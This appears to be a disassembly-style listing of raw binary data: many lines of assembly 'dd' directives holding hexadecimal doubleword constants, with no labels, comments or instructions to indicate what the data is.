dd 0F5D93B45h, 0FEE1807Ch, 60C07234h, 9B71D409h, 0BABE00DFh
dd 809D18FDh, 5A50BB68h, 1100CAD0h, 6C7E3C9Ah, 0E86C4h
dd 67886976h, 17198EC7h, 0ECEAD901h, 0CB680528h, 712179F4h
dd 0ADC00BFh, 33D07BABh, 0E50038F2h, 2F93B829h, 0F8963EEh
dd 52D87210h, 1E9749A5h, 38E680h, 4C469A62h, 489C7E51h
dd 0FF76700h, 0F047A610h, 711B0B3h, 45DAEAE5h, 6F821FF6h
dd 0C480BE62h, 839C54AFh, 84043276h, 0FFE43315h, 0AB5D7080h
dd 5E6B1265h, 0E0BC40F1h, 9DA07ADAh, 0B1008343h, 0D8924E03h
dd 52317640h, 41DB9824h, 20D79820h, 749E5D5Fh, 0C0848E25h
dd 578DCDC1h, 54AC2DB7h, 2A967CA1h, 5B0BD05Ah, 4374C1C3h
dd 39C684h, 0A9CFB1F1h, 0E12B177Eh, 5A3D8500h, 5D26D6CEh
dd 0FE0D1DD7h, 78871804h, 0AC0145A0h, 0E317CC73h, 5468426Bh
dd 0CD5CD600h, 2310372Ah, 4BCA3F00h, 4C2F918Ah, 0F874187Eh
dd 0AD9C2877h, 0E0D37500h, 0F450B642h, 61130491h, 0B1053FEBh
dd 34DC2134h, 1A0AE404h, 8C7C4EA2h, 5B73CB80h, 8F1C1Fh
dd 6EBAAEDEh, 56C9A566h, 8B958704h, 0F380F68Eh, 0B1C0C2h
dd 2D33CFA0h, 7AF1F6Bh, 9A9E5709h, 485A854Dh, 76AC1280h
dd 6F00050h, 0C0BCE6A2h, 4B39275Eh, 0F90803F3h, 0D03F0243h
dd 1CED2A89h, 89B9CB72h, 32008F37h, 0A1A091CEh, 946F1001h
dd 60EF5720h, 0A62EBC40h, 15E2004Ch, 25639F5Fh, 6205DB4Fh
dd 9D468E76h, 0BBF59404h, 9F8FE8C0h, 50782DA2h, 8880480Fh
dd 607344FFh, 3126C072h, 5900A8E2h, 0E41C6E9Eh, 542F07A2h
dd 204F0B49h, 0BB75C8C5h, 0EB485774h, 41DF006Ch, 25B92AA0h
dd 0DECA00F5h, 0AC8CFEDBh, 0E0229F1h, 0DD04A56h, 0C1B0C086h
dd 0F6D8384Bh, 0BC1DAF00h, 9B0849B9h, 8FAB8100h, 0C719DA46h
dd 3FD1E6FEh, 1C9FFC4Ah, 686C084h, 6D536AC4h, 18A02600h
dd 4332C06Fh, 61FA2846h, 0B1330084h, 0EE47146Bh, 0B7CE238h
dd 0A02CE700h, 713D3A2Bh, 52AB00E5h, 7A778FF8h, 0C00FFF3h
dd 0D8D378C9h, 45217Bh, 0DB0B26E9h, 92E739D5h, 0B8D75801h
dd 8425708Dh, 25546620h, 788FD90Dh, 0F0C65E0Bh, 6900E4FEh
dd 0E32EE047h, 3F5D59h, 0B4D84E57h, 0D17DA531h, 27827C00h
dd 2958211Fh, 16500043h, 0B045577Fh, 0E1004C02h, 17155DC5h
dd 7AA91C89h, 0BF9A00D3h, 0A418F971h, 9000069Bh, 177FAEAh
dd 0FACF08E6h, 0A01400F1h, 0A3B213DEh, 205C70B8h, 0E6B40015h
dd 0FF289E4Ch, 36EB0031h, 0C44B2CFEh, 0D5484AD6h, 5E9F0092h
dd 63A01906h, 2AB226BCh, 4C2618h, 0F58878A3h, 9B00A5B4h
dd 26D96B0Fh, 0E6FA8Bh
dd 3644A696h, 236056C4h, 0D1270300h, 0A5728706h, 0F3F4E61Eh
dd 7F0F2BD4h, 265D7D53h, 0EA3EEA1h, 0D8B299C2h, 48003EFCh
dd 0EC6772DFh, 0C80274h, 284226F5h, 0A2E5FB0Ch, 88520E05h
dd 9C05F707h, 0CC0F1BEh, 0B2B9D2h, 0F4E37F5Eh, 0A7AE447Bh
dd 0FB54800h, 9B958CC0h, 218D0058h, 68CBA205h, 4B00EBC1h
dd 0E32B6985h, 1130BEDh, 48372878h, 0C4E919C8h, 880C0ABEh
dd 0C29F8D5Eh, 0B9C31338h, 66E80240h, 50F0E1EAh, 4432CE07h
dd 0C67E22Bh, 0C6A2FA50h, 0C3460F6Bh, 6CEE991Dh, 0D8C206C0h
dd 7701F1AAh, 2471BE4Bh, 583CD95Bh, 7F1D5F02h, 5458A82Fh
dd 201CEE07h, 4E94FDC9h, 0C13C07EFh, 0B23306Eh, 0AB00E0F5h
dd 0F43C591h, 1BED6B8h, 0AEA2EBBCh, 0DC032E95h, 5C905765h
dd 14F3B912h, 772CD8h, 916D978Fh, 8BD62853h, 74A46F00h
dd 98FFE1E9h, 1C9000C2h, 761DDA25h, 0B00331CBh, 9269A55Ah
dd 0F00ED817h, 66D90F15h, 0A8A00348h, 501E4210h, 0DDA1D326h
dd 71DAE600h, 78FE5A5h, 49972775h, 130E4038h, 14988757h
dd 8CB49000h, 0A03A6D58h, 1FD8004Dh, 0BDA2E6C6h, 780030F3h
dd 4063B89Eh, 4F660DAEh, 5F3C006Fh, 1C48F0EEh, 83CFEC00h
dd 4E0868Ch, 58FE0028h, 1D63813Dh, 0A601AEB9h, 0B47A9412h
dd 0CEE4C021h, 2DCF0054h, 98DDF206h, 0E8FA3BD5h, 957AAC0Bh
dd 2000817Eh, 0A08780ADh, 502A7FD7h, 0E7AA6AF7h, 0F6A7B100h
dd 0BE6FB66Eh, 1BE20AC8h, 38E06839h, 0D021FD80h, 63FCBB04h
dd 1F7BCE2Ch, 0F208DC00h, 1B12DF8h, 0A2AC105Fh, 0FC345660h
dd 0E34CA5F1h, 5D370082h, 57EF4AE1h, 0FF905036h, 13C9A06h
dd 847552D9h, 0FAFAC52Dh, 2E07C45Ah, 7307F6F7h, 23014F0h
dd 78ED26E9h, 22298744h, 6920D009h, 0B001320Bh, 5416BC1Eh
dd 90DBA171h, 485F373Dh, 0FC0BF424h, 74008ABFh, 8FB1E889h
dd 356F1301h, 53E2F46h, 66B3C8h, 3442C582h, 25EB0794h
dd 0BFFAA500h, 887630A4h, 0CFC100FBh, 5A6E5E54h, 0F490AB83h
dd 0F5E60D0Eh, 5824603Eh, 0BA643AFBh, 0AEB70004h, 0A50598DEh
dd 4D060CF3h, 0D7F98735h, 6C7300C0h, 2756211Eh, 5B007840h
dd 0F91DCC8Ah, 0A0BE8BCBh, 0FE6BBDE8h, 0F2F71D50h, 0D54EC644h
dd 0C400D01Dh, 3DC98A2Ch, 9BAD01h, 6F5D7195h, 2136B142h
dd 0BBB6A438h, 94D5894Ah, 0E17000D1h, 0A9899Eh, 79D5359h
dd 324AF5FCh, 2C5B2E0Eh, 0DEFE81B3h, 730B5CEh, 1B20007Eh
dd 4D5A961Dh, 7B79089Ch, 78BC4900h, 0C394988Fh, 10BA007Eh
dd 66EA2D5Ch, 0D40108FFh, 2E29C271h, 0C3E8D1B7h, 0C8620069h
dd 0ABCFE816h, 8E011F73h, 5B7CCB8Fh, 0CADCFFE2h, 658212FBh
dd 4334006Dh, 17A39AE1h, 105F58h, 3CDD1022h, 4A1A9C71h
dd 0E2248049h, 700DFE9h, 0DCD5A4C9h, 432761h, 76160C13h
dd 4A425236h, 3806C209h, 7D14A022h, 9E28E8DEh, 74D35140h
dd 0E0BDCDD8h, 0BB7472h, 4F805222h, 0AE766EC9h, 0DBA22700h
dd 3B642B1Ah, 75CB863h, 7EF0F9A7h, 6F7F309Ch, 0AC7943E3h
dd 0D4669800h, 48414FCh, 503D127Ch, 0B9513D6h, 3080A7C4h
dd 0F841B9FFh, 6F3F2F00h, 98EFDF73h, 2CA40097h, 0A8D817FBh
dd 6500818Eh, 1318648Dh, 0E4722F38h, 46C958F5h, 28306600h
dd 0A968CA0Eh, 598F2003h, 886393B9h, 0ACE74Fh, 0AD5ED81Bh
dd 47223AC3h, 0DD2B7700h, 295A3D6Ch, 7E3B2683h, 0DF4B051Bh
dd 0C2C05E26h, 58E2CD21h, 6277A8C0h, 881C5000h, 895ABEB0h
dd 7E1BEAC0h, 0CC9F0024h, 9C2F6308h, 8300E79Ah, 0D0D14AD2h
dd 20297F7h, 0EC0B5F8Bh, 0C0805DE2h, 0D6A9213Dh, 0C3D925h
dd 80EAF04Ch, 0F18C00D3h, 49529D78h, 7E00B0C5h, 8B6251CEh
dd 3C289860h, 700F2B59h, 5300B9AAh, 6EBEC10Dh, 0C2758402h
dd 62115C1Dh, 0D9F1C068h, 81BD09D1h, 888135B4h, 0E82268A8h
dd 8E01AF56h, 75A7C9BFh, 0A7604F85h, 9961D9Bh, 0D4FC4015h
dd 1EC06A1Ah, 9EE2640Ah, 0FB0A884Ch, 0DC2CEBA9h, 1853E180h
dd 0B0690645h, 0B8710128h, 31EC82DCh, 0AC88FF57h, 32006E86h
dd 0A441BB6Fh, 0D16D59h, 4E028A71h, 5C77AF63h, 76588A0h
dd 8FAE0C17h, 38482C98h, 0C897C049h, 9C2F04CCh, 0FFEA8023h
dd 72004289h, 0C1586596h, 0DF8CC2h, 0CBB2C466h, 0A371EAF5h
dd 3F383690h, 80833B0Bh, 0F26BD6ADh, 1842D8h, 711ED77Ch
dd 84C7AE8Ch, 0FA884701h, 83410238h, 0FB7B3D8h, 0EE65ACF8h
dd 0BB160D60h, 0AB009CF7h, 1AA711D2h, 1DF268h, 0E7CAB386h
dd 0E63278B7h, 0E9818C1Dh, 54B4E000h, 0DEB6CC5h, 0BAEE07D3h
dd 6A7A60FCh, 0DA4C4000h, 2D317754h, 4BF2008Dh, 4DA2F88Bh
dd 0AF0766E5h, 87281BA9h, 9D8DAC90h, 0ADE700F2h, 398B9C0Ch
dd 2700EF94h, 5D91CF7Fh, 155A7C2h, 0C3F2588Ah, 7070E663h
dd 0DC79A173h, 7919AA00h, 62ECE1CFh, 2C900A8h, 757240D0h
dd 24004241h, 0EE671FBEh, 3B880ED4h, 0B80F72Bh, 0A49CC9A3h
dd 0E6077461h, 93179832h, 753C8E60h, 0EF2800F2h, 0E126730Ah
dd 7C00FA12h, 6EDA6645h, 8B8497h, 0CC78EA16h, 4BFBCC4h
dd 3BE94D03h, 3B368617h, 0BA000721h, 60F152DEh, 4A14EAC4h
dd 84E029h, 2EDF97A7h, 1C9E511h, 0DE64C78Fh, 80376966h
dd 8853B120h, 0BD8C602h, 31B9C429h, 50EC9E07h, 0CE18625Eh
dd 0E14DCC00h, 0BB765946h, 800C1C51h, 0C7928014h, 1B47D2EAh
dd 43268F00h, 9DA6984Eh, 723200B4h, 0D4F1ADC2h, 9F372946h
dd 26501916h, 8283E9Bh, 9A2439A7h, 0EA51E80h, 3C4B95C6h
dd 9C80A33Fh, 0A0B94E3h, 9002918h, 8E0DAB03h, 118CC5h
dd 0A4F4EC35h, 32BE87CDh, 6583EB00h, 0E6C5281Ah, 0AA270E9Eh
dd 25A08CE5h, 0CB22D58Bh, 9D55C207h, 587044F3h, 8A7B1Ch
dd 0E6FBC842h, 1A323586h, 0EE005AE4h, 0E7248036h, 0C84FB3h
dd 0A4278A1Fh, 70F3F1Bh, 5E31EF01h, 0E75743CEh, 7A9BC8h
dd 27DF056Fh, 2502DA51h, 0C1EB1D00h, 0F5721C6h, 601924F4h
dd 0B9C9006Ch, 474FFE0h, 1D0CF37Eh, 0E053D59Fh, 4CA00687h
dd 987FE922h, 88E84907h, 57C7044Fh, 9CCACCD0h, 2EC10F9Bh
dd 8B40D79Fh, 598D293Eh, 0AA0073E6h, 0B5E9B05Bh, 0A7F7547h
dd 40322D74h, 0B1F500F5h, 69F7B8ADh, 0E9C9B400h, 5609B310h
dd 0BDDB0017h, 786F4915h, 0ABECA2D7h, 9CC25B1Eh, 4EBE5240h
dd 0F01D51B6h, 4ABF1394h, 0E0E30018h, 0ED1ABC5h, 7C2A200h
dd 0BA4EDE1Fh, 4C6B48C1h, 35397C00h, 20DDB14Dh, 0AEE30D03h
dd 80BF56BCh, 1F43E77h, 2716820Ch, 80A5CDF0h, 0E01FEFA6h
dd 4A588Eh, 0BAEDBFACh, 32C505B7h, 6F902600h, 4F664B9Bh
dd 60727DFFh, 2FB8A8AFh, 3DFCFE78h, 91CCA000h, 686D0687h
dd 0DB4F004Ch, 6C812D03h, 98005907h, 45D5B3B7h, 0F495B82Ch
dd 98037C02h, 0F882F200h, 0DD5B000Dh, 50B0A360h, 0F80074F2h
dd 8E4EE10h, 6714AA23h, 0F387E070h, 0B8008C1Bh, 2E80C08Fh
dd 0B45B38h, 0D962DBCFh, 3EFDE0FBh, 0A6933700h, 2607B140h
dd 21E10079h, 153A14DFh, 3B3FC204h, 80A6BE29h, 0BFF7BAF2h
dd 1D7689A5h, 878AB38Dh, 0C24A9CF4h, 70687DE0h, 8EA647Fh
dd 617838h, 0BC96B660h, 3BE022DCh, 8C517383h, 330640D4h
dd 88B06FACh, 5DF5DAB0h, 0AF2C7C0Ah, 9919B0EEh, 90C63BA0h
dd 31635E30h, 15500886h, 48BF60E9h, 58AA8C30h, 0CB8012h
dd 9464BB40h, 58C7E266h, 6001A2B8h, 0FB4C519Fh, 0DC403A86h
dd 0FE4A8F84h, 8DB00745h
dd 2E62F849h, 3AABC0BCh, 6C73C6DEh, 0F68AA0C7h, 72D37711h
dd 0EC1E1080h, 78EDBD1Bh, 5BCD7C00h, 0F714A93Eh, 552F00B5h
dd 0E48B736Bh, 45716A77h, 9F36C018h, 33F0A0h, 10FA3D0Eh
dd 898054D0h, 0C83A4Ch, 0B9474A4Bh, 60C132h, 2920F8A6h
dd 6BAE93B0h, 4C312200h, 0FE861846h, 4D91C05h, 0DC645Eh
dd 0BD6F4BC4h, 48B059CDh, 50274624h, 7EB516BEh, 0F1006C1Eh
dd 1364D673h, 6B4F043Ah, 8056E1EAh, 0FAB51AACh, 0A45D1224h
dd 0F6AF800h, 0E45CD47Dh, 8AA30093h, 227F78F5h, 0EA005B88h
dd 0CDCBD101h, 76717D02h, 0F9210195h, 120B0C84h, 89EDC25h
dd 0B0BE1502h, 4076AC3Dh, 0D7D813h, 94AD890Bh, 0C8831377h
dd 2497C0Fh, 180E20F9h, 7AF0F8h, 786CB5EAh, 0EBC21F37h
dd 0AFC05306h, 0EEC915E9h, 0B62E0F47h, 0D1000DC8h, 1A911B75h
dd 0FC140100h, 79828E31h, 0B5B9007Eh, 76A75A08h, 9D24B247h
dd 5E1124E0h, 9A88C300h, 7AC757F9h, 1681FF00h, 0DB26C547h
dd 588FE625h, 18005289h, 0CB30568Ah, 0BB48E9A4h, 0B9630200h
dd 40B892D6h, 0DAD344h, 0F55B3CF1h, 7CFFDDAFh, 0F2BE2A07h
dd 4DF7524Ch, 778FA410h, 37051C43h, 612A84E9h, 0EA4808Bh
dd 66121595h, 0B861E1E4h, 0C610CA47h, 3C0784E9h, 0E507F0BDh
dd 429B8BE2h, 0BC9CFBh, 6657043Ch, 0CA8AFB19h, 70AA2E02h
dd 4672C177h, 0E7D178C8h, 0C6B4608Fh, 0D3256E44h, 0D0F8A918h
dd 0E1058E10h, 5C0D086Bh, 0A18C40Bh, 0FE121C33h, 0F848C839h
dd 4A1E13E3h, 55D441EEh, 213E951Fh, 6FA6D46Ch, 8235A706h
dd 9580CB6h, 6C6D15BCh, 0BDE3C80h, 0AF699EFh, 0F02FF309h
dd 0E4940048h, 0D7CE54h, 1E900CC5h, 0BB381225h, 0A000BA79h
dd 8A5482E8h, 786906h, 927E7BFh, 0CAC2FD58h, 7B4C1B48h
dd 6C383300h, 2B1F29B6h, 90D248F2h, 0AD62F70Bh, 4910F890h
dd 0FB00B090h, 0BEFEB522h, 0F4AE372Eh, 9DFA12F1h, 6A8400CFh
dd 47A55819h, 9F157B04h, 58D3B2E1h, 2FA8001Ch, 0BD90FDE3h
dd 709A5C14h, 0E1565800h, 24026AE2h, 0FFBB157Dh, 9A00A054h
dd 95B9E8F1h, 2700A5EAh, 448DF9Fh, 303F973h, 0D01EA984h
dd 42D82507h, 0B10086FEh, 0DDDC11BFh, 0C4D2CAh, 957DC25Eh
dd 141948E2h, 0AD162007h, 778328C7h, 42ACB88Ah, 658600E3h
dd 96851FE6h, 9B3BAA61h, 0BB7180A8h, 32C74E11h, 5D9C0027h
dd 9FB167CAh, 6D007B8Ah, 0A269AE2Dh, 3E4E102Bh, 0BB00BDC1h
dd 0AA132AB4h, 3C00FC68h, 4B213A79h, 9F40BAh, 4269B2C6h
dd 49CC672Bh, 5190EC00h, 0DBA64A9h, 5FE6EEh, 239A19C0h
dd 77C4943Fh, 3802B6EEh, 5628B5FCh, 0DB60E0CDh, 1E7B2Ch
dd 0B2763FD9h, 9549A477h, 74001DFCh, 6B9752B4h, 3CBB02A6h
dd 0C81FB657h, 54ED80DBh, 0FFD7D1ECh, 6C981F24h, 0BCC3A680h
dd 0B1C8Fh, 2B246CB0h, 297CC549h, 0D165B20Eh, 54009272h
dd 0F1EF3A43h, 0AC3E0125h, 0C4491383h, 4AC0D81Ah, 2C16E701h
dd 69E64DB7h, 0E2B1C030h, 12BD3045h, 0C0E3FB11h, 0ACB6EA13h
dd 0B0F9C802h, 61802C2h, 0E8F20060h, 780030E0h, 0BC6CEC16h
dd 0FAB4D61Ah, 29C9221h, 4FF86031h, 94400987h, 6CB04643h
dd 706077FAh, 3B0582Eh, 4C80098h, 60B781ECh, 8803C1AFh
dd 0C2CB4CFBh, 661AF09Eh, 0BAB300FCh, 38C0B51Fh, 0F300E7E1h
dd 8502998Dh, 3BC8DA35h, 4B00F15Ch, 3E84D345h, 0A62668C6h
dd 0F300C649h, 4F5438E5h, 425800D8h, 41603E06h, 0C9133995h
dd 0CC001AEDh, 0A98B0788h, 7C2407C0h, 9FD270F3h, 7658F178h
dd 0EA4C7200h, 0A66EE5FCh, 0BF8D002Ch, 0AD1945F5h, 0E71CE46Ch
dd 7500983Bh, 0CEB8A91h, 0E920E718h, 53200E3h, 99562F39h
dd 454935C7h, 75B700ACh, 69F98CB8h, 0D0EC3880h, 4AE9D900h
dd 63990876h, 0E10B44B0h, 8051210Ch, 646DCEA4h, 0DF2B00E2h
dd 0BFD6CC89h, 9CBA0BEEh, 35486575h, 0A85C0AE0h, 0C100A311h
dd 0F1B5EF77h, 459D025Eh, 1679281Ah, 0B64AA4C0h, 95933Eh
dd 27F451BBh, 0EB76F7Bh, 665C70E5h, 63FF83BCh, 2FF201B5h
dd 2213DCC0h, 1A40A809h, 2D288349h, 0A580D5A4h, 8D20D2h
dd 0FB140C7Eh, 5D8E85EAh, 0BEC76800h, 0F8036EA5h, 0A3AF3DB4h
dd 0F343D689h, 7E893CA0h, 9705350Ah, 264B8D51h, 31330F80h
dd 3FB00F7h, 0EF76BB53h, 2A1E1AF5h, 61836B34h, 0F0D76744h
dd 7960D15Ah, 0AC5600CEh, 0FBFD8FBBh, 0B00F648h, 4077A675h
dd 7E87C5E8h, 0C94900A0h, 1215AB37h, 1900674Eh, 0EA08C653h
dd 744A282Eh, 0A0330064h, 5F228046h, 1E00C576h, 67D19B11h
dd 4A76BDCh, 0C2424B53h, 91C756h, 0E6A65EC8h, 12339100h
dd 6C4003CCh, 689C071Eh, 0F7B4F1D6h, 0E1F41020h, 66B0D8A4h
dd 4058E600h, 18CD5D17h, 3BE6A8h, 8A52EC65h, 600F7FBFh
dd 0C641A203h, 83A43DD5h, 315CD042h, 0A7DA073Ch, 802D236Dh
dd 773AA903h, 0B5589F03h, 0A9B48916h, 56F4EB2Ah, 571D1ED7h
dd 0CF4C043h, 7724ADB5h, 0A95CA602h, 613F7FC1h, 0BEE8F6ACh
dd 1DE200B6h, 0CC4BE0C0h, 7A012E14h, 10518CF3h, 72F9B05Ch
dd 0C342C2E0h, 0EB734D11h, 6787D1E0h, 0EEE3101h, 95E474E7h
dd 3A5B05E0h, 7F014FEDh, 497EC6F7h, 0C78FC415h, 0CE88120Eh
dd 0A9F483A5h, 0B0D80034h, 40DE7305h, 3B031302h, 1512ADCEh
dd 0D5ECC014h, 87880FAFh, 73235AE5h, 4040C8F2h, 0F930EE88h
dd 0BB08685Fh, 0EE4307Bh, 67D06518h, 72E60200h, 0AAA590EFh
dd 0B05A0085h, 0A1448DAh, 0A000FAB5h, 0E94FF217h, 947F13h
dd 0EB43E54Bh, 821D658Bh, 55F84E00h, 77491CF3h, 955908A2h
dd 0FB072E7Dh, 152185E8h, 6C05A6Ah, 62C40C63h, 5E206079h
dd 0DF65F318h, 0EAF5A90h, 0E163E8D4h, 563E6A00h, 8201839Bh
dd 0DFD8DB5Fh, 10F301F5h, 0F43F340h, 3B06BDDh, 0C03037BCh
dd 40B3D081h, 411531EDh, 0BC9693h, 6B4AF7DFh, 33A74B5Eh
dd 0E9185B87h, 0F40E091Eh, 92C48930h, 6451CFF0h, 0A1755AC1h
dd 0D8D1815Eh, 6927F5CCh, 0A80B9EE0h, 1220EB0h, 627B3BB1h
dd 0F46E5h, 821E6Eh, 9211634Ah, 69D4FB5Ah, 776CBF8h, 34471539h
dd 600060ECh, 6919256h, 41501E8Fh, 161D45DBh, 572C3C7h
dd 65724DB0h, 19406900h, 0BC86A8E1h, 95B00025h, 27743468h
dd 263CDC32h, 0BF5F8039h, 6CF51FE2h, 648800CEh, 4C6E7497h
dd 7E00296Fh, 0BB581804h, 30FFCB14h, 0F6901B19h, 27303331h
dd 347CD95Eh, 144F03A5h, 0DD13042Ch, 23A30583h, 0EC292100h
dd 0F026A1A5h, 4EDC6219h, 0B48083AEh, 20549005h, 350CE57Bh
dd 188032F4h, 0BC0710B9h, 1F637F47h, 0A2D31548h, 4D108A61h
dd 0B0262034h, 12344698h, 5305A51Fh, 4C4802D4h, 371E802Fh
dd 419CAFA5h, 7C39FCECh, 0D0ED0057h, 6A024DDFh, 84E34990h
dd 0F72C200h, 0DEAF62E7h, 85955D0Ah, 6D06F825h, 15503316h
dd 0EC49795Ch, 168DC00h, 372E95D9h, 4B00BCECh, 0DFF13D8h
dd 1BF2036Ah, 0C06BAC93h, 0E88B823h, 487FA603h, 2A5804F4h
dd 1BA5003Bh, 4E478A62h, 66040A38h, 0EA2BE8EDh, 0F10F6C80h
dd 0C0B818DDh, 0B196C810h, 11972500h, 99511E1Ah, 0D3F0007Ah
dd 5076209Bh, 0E0003FBCh, 1F450ED2h, 3D19AEC6h, 801C896Eh
dd 0D30C838Bh, 56E95227h, 511AD866h, 601B800h, 4BC0E7Fh
dd 0EA5C00DEh, 7FF9F2Fh, 5007A539h, 3F35C97Bh, 0BC2AFCA0h
dd 28DD0189h, 0D79A5DA4h, 34188044h, 2084E438h, 14D51C3Fh
dd 0A010BDh
dd 27E3F364h, 1CECCBB6h, 0C0E97AC2h, 47903D4Ch, 8400016Eh
dd 0C8BCAD7Bh, 30FEB449h, 0FF706A17h, 79C189C9h, 89BF4D4h
dd 0C426C4h, 8CA77754h, 0C033D866h, 0B9329D03h, 7349B88h
dd 0E1FF1230h, 65719041h, 8161E218h, 706DCF18h, 298E9AEDh
dd 8234299h, 8BF0E0EEh, 1B0374A0h, 40191553h, 0A650C3BAh
dd 73E80080h, 68520AD9h, 9B00D8D4h, 0AFE7774Bh, 3A87D5h
dd 66B556A1h, 0C252C563h, 0C3409200h, 9D73AD7Eh, 6DBE0017h
dd 0AA3C76BCh, 1E01C80Ch, 8D3FD532h, 0ADEF1C40h, 0BD179C00h
dd 0A35BFC2h, 0C404B726h, 0C075080Ch, 172D885h, 440C9007h
dd 5CB02170h, 34A13ED6h, 0EDF16F8Bh, 19C60075h, 18DBAC79h
dd 48701454h, 0DA781C32h, 80A32FEEh, 0B0A0338Ah, 0CDD2B5A8h
dd 8079D9E1h, 17198561h, 1B9C9Dh, 0B52BC967h, 9B18D151h
dd 88458100h, 4E0B6C7Ch, 9C300A8h, 0F4D7DA7Eh, 710053CCh
dd 46992EC9h, 36E673Ch, 36062287h, 0CBE06B5Ah, 40075CB3h
dd 8B49F131h, 98D1FDE3h, 4C3986C3h, 0A700224Eh, 135953CEh
dd 710054E5h, 9DD5D341h, 9E22DFh, 29E75250h, 0E93DE1C5h
dd 9F63E400h, 0AA02302Fh, 7677079Dh, 10FC8AFFh, 8C5F514Dh
dd 0EE5DBA00h, 6B22421Eh, 3729008Fh, 0A61FFD4Ch, 1303648Dh
dd 5EC9502Ah, 0EC4DB1ABh, 0A1C5A080h, 272BFA6Eh, 0B7E488C0h
dd 71401301h, 0DFB60112h, 76448A15h, 6A7180FBh, 0CD797BADh
dd 48C00653h, 0B89399D3h, 6890B700h, 0C0ED57Ah, 659A00F7h
dd 66B2A5CAh, 2A01C4D4h, 0B6A1C959h, 42D05E33h, 0F3CF012Ch
dd 7EAE8DBBh, 0D6F6203Ch, 8D40E30h, 0C79CB56Fh, 209E5C10h
dd 0FEE73139h, 7F33Eh, 5C0ABF9h, 376594Eh, 5041AAC8h, 29113070h
dd 0F511F6E2h, 0C74A11CDh, 215BB611h, 0CA7908A6h, 7BA0E88h
dd 0C0AC03A2h, 43271680h, 8ECC3500h, 514EC988h, 9A49061h
dd 0E212B4C0h, 8500958Bh, 45FE6B78h, 57C62E00h, 0D5366E15h
dd 3C86F404h, 53BAF638h, 0A5129201h, 80A89A2Ch, 0F2BD6F0h
dd 261A410h, 85711ACh, 0AAC093C8h, 403B02CAh, 90A38072h
dd 7868B52Fh, 0DD320FABh, 0C800F1A4h, 0DCBD4D50h, 0E4D310C0h
dd 4C871B82h, 0DF0111D2h, 0AA01A2D7h, 3485DC45h, 80753139h
dd 0D939C836h, 3155E2Eh, 1E8668FDh, 0B2F8B465h, 366135FEh
dd 418C3D98h, 8419C0h, 153CD4D3h, 381EB5BDh, 88F55Ch, 8BAAB9Fh
dd 33F4A7h, 46CDE6CEh, 510E5B67h, 4F9F84C0h, 10596E4h
dd 25D35D5h, 44B5DD9Eh, 0BB94C0F4h, 0F40EABADh, 605E203Ah
dd 2777EF82h, 65230035h, 0CCA439E7h, 750763B6h, 0F43B67D4h
dd 8E859950h, 97BD008Bh, 834179EBh, 560045A9h, 0CEBFD8E2h
dd 0AD5220h, 74B029ACh, 0FA097FA6h, 7012FC1Dh, 68C27AC0h
dd 122A71A9h, 0ABDF38h, 0D6C3E946h, 0B300CFA3h, 3F5C43A6h
dd 90E26Ch, 2C053334h, 5AB1F660h, 0B0BDAB00h, 5B4CCFCAh
dd 55EF03C5h, 8924921Fh, 1C67A2F8h, 0D6144101h, 0DB750A60h
dd 0FEBFCCh, 0ED5DAD8Fh, 0A2943DACh, 6D5E9200h, 836B8D74h
dd 115FED8h, 657E329Ch, 40AE9912h, 25C35394h, 0F5065B00h
dd 0CDAD4052h, 9AFE0024h, 535AB501h, 0AA00E75Fh, 7118594Fh
dd 0FFB389h, 0D4AFF681h, 0C5E29FB5h, 0C9955A00h, 187ECA34h
dd 214E3F29h, 0D500C7BBh, 6CEBD7A6h, 3D004D03h, 0CF16B8F1h
dd 26E9A4h, 0FAB9788Eh, 7C42A97Bh, 4382B200h, 5D5F3C98h
dd 682C01C7h, 0BC923F15h, 0D69660A1h, 2E00FB72h, 0FE6F0473h
dd 3C7B1D6Dh, 9080B407h, 35A3BB4Ah, 0A6F04B12h, 2D71F900h
dd 5639D9ABh, 0ADA7004Dh, 4C9E6DB6h, 0D000D372h, 0C3B8C8C6h
dd 14D192Ch, 9F085438h, 0E849B180h, 91010E13h, 817B6DBDh
dd 0C33165A6h, 0A49CF8h, 0F407749Dh, 0CFFA024Eh, 0C3D67B00h
dd 69C1C921h, 1D46005Dh, 9EEE8B5Ch, 7600C457h, 23E2AC94h
dd 11A812Eh, 3B0E9A4Ch, 0C0E345C5h, 8B0F6D8Eh, 6EB4A30Fh
dd 60BD2756h, 0A0F319B0h, 0F83D1FC3h, 7DC640D6h, 0EAE7A414h
dd 40055F2h, 3622B3FAh, 0D2854Eh, 39543DDCh, 5CD91F01h
dd 67441B1Fh, 0AFC59D80h, 0CC2B1Ah, 0E51C473h, 33DF0372h
dd 7FD8D8A3h, 0FC00616Bh, 4CD2E10h, 0D5DBCBh, 0BC90E103h
dd 31C422FBh, 67CF4C12h, 3A33D000h, 0FE84D8h, 53478CB3h
dd 0B4FA9622h, 100F1FCh, 0AFD6058h, 24418EAh, 0DDC93638h
dd 0E7E0F97Ch, 50BD9AE8h, 0D91603B5h, 2E95F16Ah, 40AD94E0h
dd 39743300h, 0F2F4DC24h, 0B0132E43h, 44A70058h, 40111D05h
dd 0CA1D900h, 23C4DEABh, 13F95835h, 0DB48D400h, 372AD8DAh
dd 5970EA00h, 32320F6h, 756F0798h, 70E31CB3h, 0F2268001h
dd 0D1244F00h, 5BB0C443h, 3A1000A8h, 87995127h, 3E013550h
dd 6EAFA92Fh, 0A5D07504h, 9CA20095h, 0C084A4Ch, 0FF1F636Ah
dd 0CFC14045h, 698B840Eh, 0C3FA8CCh, 0A1349513h, 66074E98h
dd 0B40B56D7h, 679F21FEh, 0B030A2B0h, 0FCF61D74h, 0C280BB8Bh
dd 990964Dh, 7200CCD0h, 0BB49FD5Dh, 73C98EDEh, 4C60131h
dd 815F692Eh, 74C2817Eh, 1BEF3965h, 4CB170h, 6EC159F0h
dd 0A91EECADh, 4221F502h, 605CFC4Bh, 87D9D7h, 0A7378E0Fh
dd 529244CCh, 8B025900h, 0FFE97C62h, 0CFC002Dh, 21CF265Ch
dd 0F000142Ch, 0A21D4533h, 7D354F2h, 0A603A398h, 0A8815E7Dh
dd 802A3BE2h, 97419222h, 0DDDC57h, 0B6FA934Dh, 634950F3h
dd 0FD0FDBEAh, 1E9D78Fh, 0A28D5F5Bh, 0F7C9040h, 0E0861E63h
dd 0BBCF809Ah, 1367EC1Bh, 4BB739h, 0CC1F50C1h, 1DAE1A33h
dd 80D232C7h, 0A194071Ch, 9FC369Dh, 2A698400h, 513A4934h
dd 6EAE0F54h, 9A0A44B8h, 5E013CDCh, 0CB235619h, 0B9486071h
dd 0AFF23C7Fh, 83B8DE00h, 0ECB0D9FEh, 64A80091h, 74A5B684h
